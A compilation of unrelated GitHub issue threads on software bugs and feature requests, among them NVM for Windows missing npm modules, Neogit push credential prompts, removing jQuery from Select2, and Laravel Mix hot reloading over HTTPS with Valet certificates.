node_modules are not downloaded

Make sure you have reviewed the common issues and existing issues before submitting a new issue.
If this is a question about how to use NVM4W, please use stackoverflow instead.
If this is an issue regarding antivirus, make sure you search the existing issues first.
My Environment

[ ] Windows 7 or below (not truly supported due to EOL - see wiki for details)

[ ] Windows 8

[ ] Windows 8.1

[x] Windows 10

[ ] Windows 10 IoT Core

[ ] Windows Server 2012

[ ] Windows Server 2012 R2

[ ] Windows Server 2016

[ ] My Windows installation is non-English.

I'm using NVM4W version:
1.1.7
I have already...

[x] read the README to be aware of npm gotchas & antivirus issues.
[x] reviewed the wiki to make sure my issue hasn't already been resolved.
[x] verified I'm using an account with administrative privileges.
[x] searched the issues (open and closed) to make sure this isn't a duplicate.
[x] made sure this isn't a question about how to use NVM for Windows, since gitter is used for questions and comments.

My issue is related to (check only those which apply):

[ ] settings.txt
[ ] proxy support (Have you tried version 1.1.0+?)
[ ] 32 or 64 bit support (Have you tried version 1.1.3+?)
[ ] Character escaping (Have you tried version 1.1.6+?)
[ ] A standard shell environment (terminal/powershell)
[x] A non-standard shell environment (Cmder, Hyper, Cygwin, git)

Expected Behavior
npm install -g express should install express globally
Actual Behavior
runtime error, complaining about not finding module npm-cli.js(see below)
Steps to reproduce the problem:
$ nvm install 14.2.0
Downloading node.js version 14.2.0 (64-bit)...
Complete
Creating C:\Users\sburcea\AppData\Roaming\nvm\temp
Downloading npm version 6.14.4... Complete
Installing npm v6.14.4...
Installation complete. If you want to use this version, type
nvm use 14.2.0
sburcea@SBURCEA-RO MINGW64 ~
$ nvm use 14.2.0
Now using node v14.2.0 (64-bit)
sburcea@SBURCEA-RO MINGW64 ~
$ node -v
v14.2.0
$ npm install -g express
internal/modules/cjs/loader.js:1023
throw err;
^
Error: Cannot find module 'C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js'
at Function.Module._resolveFilename (internal/modules/cjs/loader.js:1020:15)
at Function.Module._load (internal/modules/cjs/loader.js:890:27)
at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)
at internal/main/run_main_module.js:17:47 {
code: 'MODULE_NOT_FOUND',
requireStack: []
}
internal/modules/cjs/loader.js:1023
throw err;
^
Error: Cannot find module 'C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js'
at Function.Module._resolveFilename (internal/modules/cjs/loader.js:1020:15)
at Function.Module._load (internal/modules/cjs/loader.js:890:27)
at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)
at internal/main/run_main_module.js:17:47 {
code: 'MODULE_NOT_FOUND',
requireStack: []
}
Any npm command fails with the same error.  This is because node_modules folder is empty.
$ cd /c/Users/sburcea/AppData/Roaming/nvm/v14.2.0
$ du -a .
54172   ./node.exe
0       ./node_modules
4       ./npm
1       ./npm.cmd
4       ./npx
1       ./npx.cmd
54186   .
Downloading the binary archive from Node downlaods and extracting the node_modules to the right node_modules folder(e.g. /c/Users/sburcea/AppData/Roaming/nvm/v14.2.0/node_modules) fixes the issue.

I'm getting this too. I installed on Win 10 using Chocolatey

Same issue for me as well on Windows 10:
nvm install 10.21.0
npm -> results into the "cannot find module npm-cli.js" error
Folder "npm_modules" is empty.
C:\WINDOWS\system32>npm
internal/modules/cjs/loader.js:638
throw err;
^
Error: Cannot find module 'C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js'
at Function.Module._resolveFilename (internal/modules/cjs/loader.js:636:15)
at Function.Module._load (internal/modules/cjs/loader.js:562:25)
at Function.Module.runMain (internal/modules/cjs/loader.js:831:12)
at startup (internal/bootstrap/node.js:283:19)
at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
internal/modules/cjs/loader.js:638
throw err;
^
Error: Cannot find module 'C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js'
at Function.Module._resolveFilename (internal/modules/cjs/loader.js:636:15)
at Function.Module._load (internal/modules/cjs/loader.js:562:25)
at Function.Module.runMain (internal/modules/cjs/loader.js:831:12)
at startup (internal/bootstrap/node.js:283:19)
at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
C:\WINDOWS\system32>

This is a duplicate of issue 302, which contains a workaround.

@lauraBaakman sorry, I've missed that issue, perhaps #302 issue title could be replaced with this issue's title for clarity. Yes, there is a workaround, as I've mentioned in the first post, but I still consider it a nvm bug, as it is supposed to download anything that's needed for a proper node & npm usage. I'm closing this so we can track the progress in #302


Multiple Windows

It would be great if this supported multiple windows, so we could compare to .rsrc files side by side.

project deprecated


[rom-e2e] rom_e2e_sigverify_mod_exp

Test point name
rom_e2e_sigverify_mod_exp
Host side component
Unknown
OpenTitanTool infrastructure implemented
Unknown
Contact person
@alphan
Checklist
Please fill out this checklist as items are completed. Link to PRs and issues as appropriate.

[ ] Check if existing test covers most or all of this testpoint (if so, either extend said test to cover all points, or skip the next 3 checkboxes)
[ ] Device-side (C) component developed
[ ] Bazel build rules developed
[ ] Host-side component developed
[ ] HJSON test plan updated with test name (so it shows up in the dashboard)

Verify that ROM can verify signatures using both implementations of mod_exp.
Note: The chip can be in any life cycle state except TEST since we use the software
implementation without reading from the OTP in TEST.

Prepare a ROM_EXT image with a valid signature generated using an authorized key.
Apply bootstrap pin strapping and reset the chip and load the image.
Verify that boot succeeeds. Repeat with the following values:

CREATOR_SW_CFG_USE_SW_RSA_VERIFY
Result

kHardenedBoolTrue
Success

kHardenedBoolFalse
Success

0
Failure

#15526 adds the test for the first row and placeholders for the rest until #15162 is resolved.


clearInterval stopped working.

Hi guys.
I didn't know is you know that clearInterval stopped working since v3.5. I reverted to the v3.5 and clearInterval works again.
Thanks.

On JSB or Web ?

@pandamicro in JSB. Web works fine.


Simple Bot Tutorial - Final Project Structure

Rasa Core version (0.7.3):
Operating system (osx):
Issue:
The final project structure for the simple bot tutorial shows that the nlu.md file should be nlu.json.

URL: https://core.rasa.ai/tutorial_basics.html

Added pull request for this issue #70


Bug on pushing with email&password

Catch this bug

keys doesn't works

What is your setup and what actions did you take to reproduce this bug?

I get this too.
I cloned my own repo to another machine over HTTPS, which requires me to enter my github username and password
to be able to push.
Setup:

NVIM v0.5.0-dev+1260-ga6504ec33
WSL2 Linux Ubuntu 20.04

Steps:

:Neogit
stage all, commit, write commit message, :wq
choose push with P, then u for upstream
hit the bug

Ty

Are you still experiencing the bug in the same way? I tried to reproduce this and git opened a browser window for me to enter my credentials. After closing the window the command failed, because it couldn't open tty. Is this the same for you?

@TimUntersberger btw what is pushremote means?

Currently pushremote and upstream do the same thing. We copied this from magit. This is only relevant for forks. Basically upstream is the repo you forked from and upstream is your own fork.

Currently pushremote and upstream do the same thing. We copied this from magit. This is only relevant for forks. Basically upstream is the repo you forked from and upstream is your own fork.

I guess you typos. Upstream-upstream.
About issue. It still exist. Tried it minute ago. Pushing to pushremote freeze everything.

Hmm. This is interesting. It also fails for me, but it doesn't freeze the application.
Are you using the terminal version or a gui version?

Hmm. This is interesting. It also fails for me, but it doesn't freeze the application.
Are you using the terminal version or a gui version?

terminal version.
neovim 0.5
Alacritty
Debian testing

@TimUntersberger for me git immediately opens a tty, not a browser window.
I think the application freezes because neogit.process.spawn doesn't return, because it's waiting for the tty process to close. Do you have any idea if a process started by vim.loop.spawn can accept user input? I tried but could not figure it out.

This should be fixed in the latest version. We now parse the remote url and ask for any missing information.
Which means that a remote url like<EMAIL_ADDRESS>will make neogit ask for the password
and http://github.com/x/x.git for the password and username.
The password will be replaced with * in the command history.

It looks like Neogit is not respecting the credential.helper settings of git. I'm asked for username / password although in my case osxkeychain is configured as credential.helper. Git on command-line and vim-fugitive are happy with this and are not asking for credentials, while neogit does.

@jens1205 the current implementation is very hacky. #172 attempts to fix this.

Tried to pull something from repo and issue still exists

@timsofteng #172. I am currently debating whether to just merge the PR with a small bug or to wait until it is fixed.

@timsofteng #172. I am currently debating whether to just merge the PR with a small bug or to wait until it is fixed.

Oh. Got it.

This should be fixed?

This should be fixed?

What do you mean?
When I tried it last time it didn't work.

But there is no info about it. Do i do something wrong?

The problem might be that the git process takes a bit to close, so the command entry only gets added after some delay. Can you try to see if the pull command is in the history after 4-5 seconds?

Closing this - if it's still a problem, open a new issue.


[9.100.x-prod] SRVLOGIC-295: Update operator managed persistence extensions to the RHB of Quarkus 3.8.4 and to the OSL version

Description of the change:
Motivation for the change:
Checklist

[X] Add or Modify a unit test for your change
[X] Have you verified that tall the tests are passing?

How to backport a pull request to a different branch?

In order to automatically create a backporting pull request please add one or more labels having the following format backport-<branch-name>, where <branch-name> is the name of the branch where the pull request must be backported to (e.g., backport-7.67.x to backport the original PR to the 7.67.x branch).

NOTE: backporting is an action aiming to move a change (usually a commit) from a branch (usually the main one) to another one, which is generally referring to a still maintained release branch. Keeping it simple: it is about to move a specific change or a set of them from one branch to another.

Once the original pull request is successfully merged, the automated action will create one backporting pull request per each label (with the previous format) that has been added.
If something goes wrong, the author will be notified and at this point a manual backporting is needed.

NOTE: this automated backporting is triggered whenever a pull request on main branch is labeled or closed, but both conditions must be satisfied to get the new PR created.

@rgdoliveira @ricardozanini
A small clarification regarding the affected files in this PR:
The source of truth of the change is this file:  (here is where we change the versions)
config/manager/controllers_cfg.yaml
Then the following two files are automatically generated when we do
make generate-all. We must update them at the repository, and include in future version changes, but we don't change them manually.
bundle/manifests/sonataflow-operator-controllers-config_v1_configmap.yaml
operator.yaml
Finally, this other two files are changed only for making the number in the test consistent with current quarkus version, but really has no effect other than verifying that the yaml is parsed, etc.
controllers/cfg/controllers_cfg_test.go
controllers/cfg/testdata/controllers-cfg-test.yaml

@rgdoliveira as we chatted the e2e tests fails because the nightly swf-builder image is still in Quarkus 3.2.10
until this is merged ->  https://github.com/apache/incubator-kie-tools/pull/2272
But, this PR can still be moved forward safely without the e2e greens.

@rgdoliveira I think that for this PR, we need this other one merged:
https://github.com/kiegroup/kogito-serverless-operator/pull/41
^^ here we basically incorporates the usage of the RHBQ 3.8.4.redhat-00002
(I have re-launched the e2e tests now that tooling has been updated to Quarkus 3.8.4)
So, maybe we, we can merge it first, and then, rebase current PR.
wdyt?

@rgdoliveira @ricardozanini product version set to: 9.100.0.redhat-00002


[Issue] Apple Carplay is faulty

Connecting to Carplay shows a frozen screen with only a non-responsive play button in the middle. Tested on two vehicles.

@drdog24 - the CarPlay feature isn't fully fleshed out. Try opening the HalpoPlayer app on your iPhone while connected to your CarPlay system and start playing music from the iPhone app. It should show the now playing info now and you should be able to play/pause/previous/next on your CarPlay screen.  I recently bought a car with CarPlay and was going to make my own app to play music from my server but I found @halpz app that already did most of the heavy lifting :) . I plan on fleshing out the CarPlay stuff for myself but I'll send some PRs if you're interested @halpz.


Merge Style/RedundantException and Style/ImplicitRuntimeError

The Style/RedundantException and Style/ImplicitRuntimeError should be merged into one cop with a style parameter. Perhaps Style/RuntimeError with (enforced) styles implicit and explicit? Right now, the cops contradict each other, verifying opposite styles.

Expected behavior
$ cat my_config
Style/RuntimeError:
  EnforcedStyle: implict
$ cat test.rb
raise 'my exception'
raise RuntimeError, 'my exception'
$ bundle exec rubocop test.rb --config my_config
Inspecting 1 file
C

Offenses:

test.rb:2:1: C: Style/RuntimeError: Redundant RuntimeError argument can be removed.
raise RuntimeError, 'my exception'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

1 file inspected, 1 offenses detected

and
$ cat my_config
Style/RuntimeError:
  EnforcedStyle: explicit
$ cat test.rb
raise 'my exception'
raise RuntimeError, 'my exception'
$ bundle exec rubocop test.rb --config my_config
Inspecting 1 file
C

Offenses:

test.rb:1:1: C: Style/RuntimeError: Use raise with an explicit exception class and message, rather than just a message.
raise 'my exception'
^^^^^^^^^^^^^^^^^^^^

1 file inspected, 1 offenses detected

Actual behavior
$ cat test.rb
raise 'my exception'
raise RuntimeError, 'my exception'
$ bundle exec rubocop test.rb --only Style/RedundantException,Style/ImplicitRuntimeError
Inspecting 1 file
C

Offenses:

test.rb:1:1: C: Style/ImplicitRuntimeError: Use raise with an explicit exception class and message, rather than just a message.
raise 'my exception'
^^^^^^^^^^^^^^^^^^^^
test.rb:2:1: C: Style/RedundantException: Redundant RuntimeError argument can be removed.
raise RuntimeError, 'my exception'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

1 file inspected, 2 offenses detected

RuboCop version
$ rubocop -V
0.46.0 (using Parser <IP_ADDRESS>, running on ruby 2.2.3 x86_64-darwin16)

Note that if this is deemed a good idea, I'm happy to own merging these cops.

Ping. Is there any interest in merging these cops? If so, I'm happy to do so.

Seems like a great idea to me. 👍
Can you confirm these two cops only enforce the styles you've described here? (Many cops are multi-faceted.)

I'm fine with the proposal.
There hasn't been much activity on this ticket and our Core Team is spread too thin on so many tasks, so I'll just close it for the sake of having a cleaner lists of tasks to focus on. We'd gladly review a PR, but it's unlikely that'd we're going to tackle this ourselves in the foreseeable future.


feat(archive): add archive resource

The logdna_archive resource manages the Archiving configuration for an account.
Ref: LOG-10510

Is that normal test does not pass? are we ignore it for now.


kde-applications: 18.04.03 -> 18.08.0

Motivation for this change
There is currently a linker error in dolphin, that I could only circumvent by reverting a patch. I already opened a bug report upstream: https://bugs.kde.org/show_bug.cgi?id=397653
Hopefully, this will come to a better solution.
Maybe someone with more knowledge about cmake and NixOS, has an idea why PRIVATE does not work.
@adisbladis @peterhoeg
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

Couple of minor things:

dolphin.patch is not particularly descriptive
Please link to the upstream bug inside dophin.nix to make things easy for the next guy

Yeah, I hope that I can remove that before merging.

I could remove the patch, the package required cmakeFlags = [ "-DCMAKE_SKIP_BUILD_RPATH=OFF" ];, so that we have the correct RPATH while building.


[ALLUXIO-1813] Only apply spark profile for client artifacts

https://alluxio.atlassian.net/browse/ALLUXIO-1813

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/8906/
Test PASSed.

+1 LGTM


Possible fix for #416

In reply to https://github.com/zsh-users/zsh-autosuggestions/issues/416#issuecomment-503621106, this PR contains the following changes to README.md:

Added a note for iTerm2 users under readme/configuration/highlight style.
Changed the link to the issue list under troubleshooting so that the default filters (only open issues) are not applied.

Thanks @Warkst!


error when running ogbg-ppa

Hello,
Thank you very much for the great code. It is super well-written and very modularized, making it easy to extend. I encounter a error when running ogbg-ppa
with python main.py --cfg configs/GPS/ogbg-ppa-GPS.yaml  wandb.use False gt.layer_type CustomGatedGCN+Performer
I got many lines of
accuracy() missing 1 required positional argument: 'task'
accuracy() missing 1 required positional argument: 'task'
accuracy() missing 1 required positional argument: 'task'
accuracy() missing 1 required positional argument: 'task'
accuracy() missing 1 required positional argument: 'task'
accuracy() missing 1 required positional argument: 'task'
accuracy() missing 1 required positional argument: 'task'
accuracy() missing 1 required positional argument: 'task'

followed by
  File "/code/GraphGPS/main.py", line 174, in <module>
    train_dict[cfg.train.mode](https://github.com/rampasek/GraphGPS/issues/loggers,%20loaders,%20model,%20optimizer,%0A%20%20File%20%22/code/GraphGPS/graphgps/train/custom_train.py%22,%20line%20122,%20in%20custom_train%0A%20%20%20%20perf%5B0%5D.append(loggers%5B0%5D.write_epoch(cur_epoch))
  File "/code/GraphGPS/graphgps/logger.py", line 245, in write_epoch
    task_stats = self.classification_multilabel()
  File "/code/GraphGPS/graphgps/logger.py", line 146, in classification_multilabel
    'accuracy': reformat(acc(pred_score, true)),
  File "/code/GraphGPS/graphgps/metric_wrapper.py", line 323, in call
    return self.compute(preds, target)
  File "/code/GraphGPS/graphgps/metric_wrapper.py", line 310, in compute
    metric_val = torch.nanmean(torch.stack(metric_val))  # PyTorch1.10
RuntimeError: stack expects a non-empty TensorList

I was wondering can you identify the source of error. I am using torchmetrics=0.11.0. and torch=1.10.2. Let me know if you need any further information. Thank you!

Hi!
This is caused by a change of API in torchmetrics starting from version 0.11. You can either downgrade in your environment to torchmetrics=0.10.x or move to updated version of GraphGPS -> see PR #22
Best,
Ladislav


Feature Request: Removal of jQuery as Dependency

To start, I know this was asked a while back. The reason I am reposting this feature request is that we are now in 2022 and the use of jQuery simply isn't required in many/most modern frameworks.
While I know this would be a large refactor, the good news is that JavaScript has a 1:1 replacement for pretty much anything you would do in jQuery. And since this project has type definitions, if done in TypeScript it would help quickly find and update all of the jQuery references anyway.
Sadly there are not too many good alternatives to select2 that do not include jQuery. I know many of us would be very glad to see the drop of a dependency.
Apart from the dependency removal, another bonus is that this will remove any bugs that occur from using different jQuery versions.
As a flip side, if this refactor is done, I am not sure if IE11 needs to be supported. Microsoft has dropped support in their own applications (last year I think) and its finally being left in the past. The only reason I mention this is that there are many powerful features that are unlocked the second IE11 is no longer in the picture.

Yes, bootstrap 5 is already doing this, and it has completely abandoned its support for ie11. I personally suggest that select2 should do the same.

I would absolutely love to get rid of the dependency on jQuery! But unfortunately there's a lot of ground to cover and only one of me, so I'm willing to accept pull requests tagged to this ticket.

Select2 is unfortunately not built on TypeScript (honestly I wish it was), but instead of AMD-compatible JavaScript. And yes, I prefer smaller PRs to make reviews a bit easier and quicker. It also greatly reduces the chances that someone gets half way through it and gives up, making all of their work go to waste.

Yes, jquery should be abandoned here.

Looking over the 6500 lines of select2.full.js, it's mostly leveraging jQ for events (96 calls to .on()) and some property getters/setters, but ironically there's only one complex $() query selector in the code with the other 45 wrapping variable names. There is afaik no chaining in the codebase.
There's also a number of older programming habits: iteration still mostly uses length counters, all variable declaration is done with var and there's still shimming for versions of IE below 10.
I honestly think select2 only uses jQuery because the author liked its UI event binding syntax, not because the author had a personal preference for jQ as a whole.
This could be refactored.

Looking over the 6500 lines of select2.full.js, it's mostly leveraging jQ for events (96 calls to .on()) and some property getters/setters, but ironically there's only one complex $() query selector in the code with the other 45 wrapping variable names. There is afaik no chaining in the codebase.

I believe there is a fair amount of chaining if you look at this.$selection (and similar) references around the code base. But none of it is complex enough that it should cause an issue during a migration, it's all pretty standard and basic stuff. Generally we've tried to minimize the dependency on sizzle and other selector engines.

There's also a number of older programming habits: iteration still mostly uses length counters, all variable declaration is done with var and there's still shimming for versions of IE below 10.

And we've made the decision in 4.1.x to drop these shims, so that's another win. Ultimately this code base largely dates from 2014ish so it's not a huge surprise that most of the code patterns are that old.

I honestly think select2 only uses jQuery because the author liked its UI event binding syntax, not because the author had a personal preference for jQ as a whole.

This is pretty accurate. Over the years we've reduced the reliance on jQuery since it was clearly fading away.

choices.js is a good alternative, I've just tried it, seems well made. Still, I don't think it will be actively developed in future. Therefore, a Select2 porting to ES6 would still be a great thing.

Once SELECT2 has no dependencies, I'd strongly recommend it be proposed to WHATWYG or similar as the prototype for a native code HTML5 built-in that still gracefully degrades to a regular SELECT element for older user agents. That's not in the near future but other initiatives make it clear things are ready for the concept of a more stylable, multicolumn element (and ever since they nerfed the CSS appearance: attribute we can't do it in plain CSS).

If we abandon jquery, what should we replace the large number of on methods in jquery in the source code with native JavaScript? As far as I know, this is not an easy task, and the delegation of this event is quite complex. Has anyone worked together to complete this task?

https://stackoverflow.com/questions/29475295/javascript-equivalent-for-jquery-on-with-additional-selector
This has been asked and answered multiple times because .on() is arguably the most powerful feature of jQuery, abstracting binds/listeners away from only existing elements while also improving performance by deduplicating those binds/listeners.
The code already exists, the only question is how to implement it in a wrapper function with methods that anticipate a future native equivalent to .on() and when detected switch to leveraging it instead – just like jQuery itself always has.

@duanemoody The most common strategy I use is to use a single javascript event listener on a dropdown that listens to only the scope of that HTML.
You put data-attributes like data-dropdown-action-select and data-dropdown-action-close as examples.
The single even listener looks for the data-dropdown-action attribute and switches on its value to determine functionality.
A single even listener per dropdown - great performance gains.
I wrote my own dropdown that can do type-ahead, multi or single select, populate a breadcrumb or update URL query parameters,
and can be tied to a static or dynamic data source.
Here is a code example from that dropdown:
In my construction (I use TypeScript)
this.ComponentTarget.addEventListener('mousedown', this.selectAction.bind(this));
this.DropDownInputTarget.addEventListener('blur', this.selectAction.bind(this));
this.DropDownInputTarget.addEventListener('keyup', this.selectAction.bind(this));

private async selectAction(event: Event) {
        const target = event.target as HTMLDivElement;
        if (!target.dataset.dropdownAction) return;

        switch (target.dataset.dropdownAction) {
            case 'search':
                // Search Logic
                break;
            case 'toggle':
                // Open/Close logic
                break;
            case 'item':
                // Logic for when you select an item
                break;
            case 'clearSubset':
                // When you want to clear your selection in a multi-select dropdown
                break;
            case 'ignore':
                event.preventDefault();
                break;
        }
    }

https://stackoverflow.com/questions/29475295/javascript-equivalent-for-jquery-on-with-additional-selector This has been asked and answered multiple times because .on() is arguably the most powerful feature of jQuery, abstracting binds/listeners away from only existing elements while also improving performance by deduplicating those binds/listeners.
The code already exists, the only question is how to implement it in a wrapper function with methods that anticipate a future native equivalent to .on() and when detected switch to leveraging it instead – just like jQuery itself always has.

I have checked the address you provided, but the on solution you provided is not suitable for use in complex production environments. The biggest problem is that its event cannot call stopPropagation. I think we can still use the on method of jQuery. I have tried customizing jQuery that only includes the on method, and it works well. However, the only problem is that even with code compression, its size is close to 30K . If we can tolerate this size, then we can immediately make select2 dependent on jQuery. In the future, we will gradually search for smaller alternatives to the on method

Select2 works very well in non Vue and React projects, and I really like it. Unfortunately, if it doesn't get rid of the dependency on jQuery, the number of people using this library may become fewer and fewer. I call on those who can help to work together to revitalize it. Once Select2 is released without jQuery, I can also use more beautiful document generation tools to write a more beautiful document for Select2, such as Vitepress or Docusaurus

https://stackoverflow.com/questions/29475295/javascript-equivalent-for-jquery-on-with-additional-selector This has been asked and answered multiple times because .on() is arguably the most powerful feature of jQuery, abstracting binds/listeners away from only existing elements while also improving performance by deduplicating those binds/listeners.
The code already exists, the only question is how to implement it in a wrapper function with methods that anticipate a future native equivalent to .on() and when detected switch to leveraging it instead – just like jQuery itself always has.

I have checked the address you provided, but the on solution you provided is not suitable for use in complex production environments. The biggest problem is that its event cannot call stopPropagation. I think we can still use the on method of jQuery. I have tried customizing jQuery that only includes the on method, and it works well. However, the only problem is that even with code compression, its size is close to 30K . If we can tolerate this size, then we can immediately make select2 dependent on jQuery. In the future, we will gradually search for smaller alternatives to the on method

jQuery needs to be removed 100%. The "on" method and the way jQuery handles events isn't appropriate for today's web. Javascript can everything jQuery can do, and then some.
Did you get a chance to see the code I provided above?

https://stackoverflow.com/questions/29475295/javascript-equivalent-for-jquery-on-with-additional-selector This has been asked and answered multiple times because .on() is arguably the most powerful feature of jQuery, abstracting binds/listeners away from only existing elements while also improving performance by deduplicating those binds/listeners.
The code already exists, the only question is how to implement it in a wrapper function with methods that anticipate a future native equivalent to .on() and when detected switch to leveraging it instead – just like jQuery itself always has.

I have checked the address you provided, but the on solution you provided is not suitable for use in complex production environments. The biggest problem is that its event cannot call stopPropagation. I think we can still use the on method of jQuery. I have tried customizing jQuery that only includes the on method, and it works well. However, the only problem is that even with code compression, its size is close to 30K . If we can tolerate this size, then we can immediately make select2 dependent on jQuery. In the future, we will gradually search for smaller alternatives to the on method

jQuery needs to be removed 100%. The "on" method and the way jQuery handles events isn't appropriate for today's web. Javascript can everything jQuery can do, and then some.
Did you get a chance to see the code I provided above?

Yes, I completely agree with your point of view. I have reviewed them and they are too simple to be used in production environments. They are not a truly effective modern alternative to jQuery's on method. I like select2. It should be migrated to ESM and moved away from jQuery as soon as possible. We need to work together

https://stackoverflow.com/questions/29475295/javascript-equivalent-for-jquery-on-with-additional-selector This has been asked and answered multiple times because .on() is arguably the most powerful feature of jQuery, abstracting binds/listeners away from only existing elements while also improving performance by deduplicating those binds/listeners.
The code already exists, the only question is how to implement it in a wrapper function with methods that anticipate a future native equivalent to .on() and when detected switch to leveraging it instead – just like jQuery itself always has.

I have checked the address you provided, but the on solution you provided is not suitable for use in complex production environments. The biggest problem is that its event cannot call stopPropagation. I think we can still use the on method of jQuery. I have tried customizing jQuery that only includes the on method, and it works well. However, the only problem is that even with code compression, its size is close to 30K . If we can tolerate this size, then we can immediately make select2 dependent on jQuery. In the future, we will gradually search for smaller alternatives to the on method

jQuery needs to be removed 100%. The "on" method and the way jQuery handles events isn't appropriate for today's web. Javascript can everything jQuery can do, and then some.
Did you get a chance to see the code I provided above?

Sorry, I replied incorrectly. What did I mean https://stackoverflow.com/questions/29475295/javascript-equivalent-for-jquery-on-with-additional-selector I have checked this address, not the example you provided above


es.mapping.id populates wrong value

Using Spark 1.5.1 and elasticsearch-spark 2.1.1 I'm setting the es.mapping.id to a field in my JSON called "feature_id".  IDs are getting populated, but they don't match the value of the "feature_id" field in the document.
EsSpark.saveJsonToEs(
  rdd.map(_.toJson),
  "myindex/features",
  Map(
    "es.nodes" -> "myhost.com",
    "es.mapping.id" -> "feature_id"
  )
)

{
  "_index": "myindex",
  "_type": "features",
  "_id": "144136021837088505",
  "_score": 1,
  "_source": {
    "feature_id":<PHONE_NUMBER>37088500,
    ...
  }
}

Can you please post a sample doc? Is there another feature_id inside the document? Does it contain by any chance another<PHONE_NUMBER>37088500 - or is this number somewhere in an another document?
It looks like a bug but I'm trying to narrow down where do these numbers are coming from and thus what causes the bug to occur.

Actually I think this is a false alarm.  I think the problem is my (Javascript) client incorrectly munging the Long value of feature_id.  When I do it with curl everything looks good.

@n0rb3rt Thanks for the update. Cheers!


Hot reloading on https

Description:
'http://localhost:8080/js/app.js'. This request has been blocked; the content must be served over HTTPS.
Steps To Reproduce:

Valet Secure
npm run hot
access the site

The laravel mix helper in the helpers.php file should probably explain why this happens:
return $shouldHotReload = file_exists(public_path('hot'))
                    ? new HtmlString("http://localhost:8080{$manifest[$path]}")
                    : new HtmlString(url($manifest[$path]));

I guess a check needs to be added with something like $request->secure() or you could hardcode it for now. I currently can not test any of this but hopefully this points you in the right direction.

We have a PR for this. Will merge soon.

Hey @JeffreyWay I was wondering if there was any update on this?
Mixed Content: The page at <MY_DOMAIN> was loaded over HTTPS, but requested an insecure stylesheet 'http://localhost:8080/css/app.css'.

This request has been blocked; the content must be served over HTTPS.

I am getting the same error. Is there a fix for this? When I deploy my Laravel 5 app to Heroku I get the following error and am unsure how to fix it.
Mixed Content: The page at 'https://laravel5boilerplate.herokuapp.com/' was loaded over HTTPS, but requested an insecure stylesheet 'http://laravel5boilerplate.herokuapp.com/css/frontend.css?id=8c9be6a9c6b0ffb6b0ab'. This request has been blocked; the content must be served over HTTPS.
laravel5boilerplate.herokuapp.com/:1 Mixed Content: The page at 'https://laravel5boilerplate.herokuapp.com/' was loaded over HTTPS, but requested an insecure script 'http://laravel5boilerplate.herokuapp.com/js/frontend.js?id=4a60179c1d3f89b5b37e'. This request has been blocked; the content must be served over HTTPS.
laravel5boilerplate.herokuapp.com/:1 Mixed Content: The page at 'https://laravel5boilerplate.herokuapp.com/' was loaded over HTTPS, but requested an insecure stylesheet 'http://laravel5boilerplate.herokuapp.com/css/frontend.css?id=8c9be6a9c6b0ffb6b0ab'. This request has been blocked; the content must be served over HTTPS.

I have an app being served with https at https://katayama.dev.
I was able to get browserSync to work just by setting the configuration to this:
mix.browserSync({
    proxy: 'https://katayama.dev'
})

And hot reloading by adding --https to my hot scripts like so:
        "hot": "cross-env NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js --inline --hot --https --config=node_modules/laravel-mix/setup/webpack.config.js",

Hope this helps you.

If I use my cert (from Valet example) How do I overwrite localhost to project.test? SO the SSL match?

@cerw to use the Valet certificate I needed to tackle this in two places (replace your-app and base path placeholders):

In webpack.mix.js:

mix.options({
    hmrOptions: {
        host: 'your-app.test',
        port: '8080'
    }
});

In package.json for the "hot" entry add the following params after '--https':

--key /your/base/path/.valet/Certificates/your-app.test.key
--cert  /your/base/path/.valet/Certificates/your-app.test.cert

Hope that helps

@ricnic Hi there,
I solved it like this too but I used the .env variable. (for dev only)
 let hosts = process.env.APP_URL.split('//')
  mix.options({
    hmrOptions: {
      host: hosts[1],
      port: '8080'
    }
  })
``

Has anyone found a way to handle this that also allows for some .env configuration of the package.json file?

@cerw to use the Valet certificate I needed to tackle this in two places (replace your-app and base path placeholders):

In webpack.mix.js:

mix.options({
    hmrOptions: {
        host: 'your-app.test',
        port: '8080'
    }
});

In package.json for the "hot" entry add the following params after '--https':

--key /your/base/path/.valet/Certificates/your-app.test.key
--cert  /your/base/path/.valet/Certificates/your-app.test.cert

Hope that helps

It is now
--key /your/base/path/.config/valet/Certificates/your-app.test.key
--key /your/base/path/.config/valet/Certificates/your-app.test.crt

@theixbass correct I have new hotssl command in packages
  "hotssl": "cross-env APP_VERSION=`git describe` NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js --https --key ~/.config/valet/Certificates/operations.test.key --cert ~/.config/valet/Certificates/operations.test.crt --inline --hot --config=node_modules/laravel-mix/setup/webpack.config.js",

There is a way to set  --key and --cert paths from a .env variable or something like that?

For Valet users: I got it working so it reads the hostname from your .env file.
I'm assuming you've executed valet secure and set APP_URL to something like https://my-project.test.
Add --https to the hot-script in package.json:
"hot": "cross-env NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js --inline --hot --https --config=node_modules/laravel-mix/setup/webpack.config.js",

The rest happens in webpack.mix.js:
const mix = require('laravel-mix');
const fs = require('fs');
const path = require('path');

const homeDir = process.env.HOME;
const host = process.env.APP_URL.split('//')[1];

mix
    //your project-specific .js .sass etc. calls
    .options({
        hmrOptions: {
            host: host,
            port: '8080',
        }
    })
    .webpackConfig({
        devServer: {
            https: true,
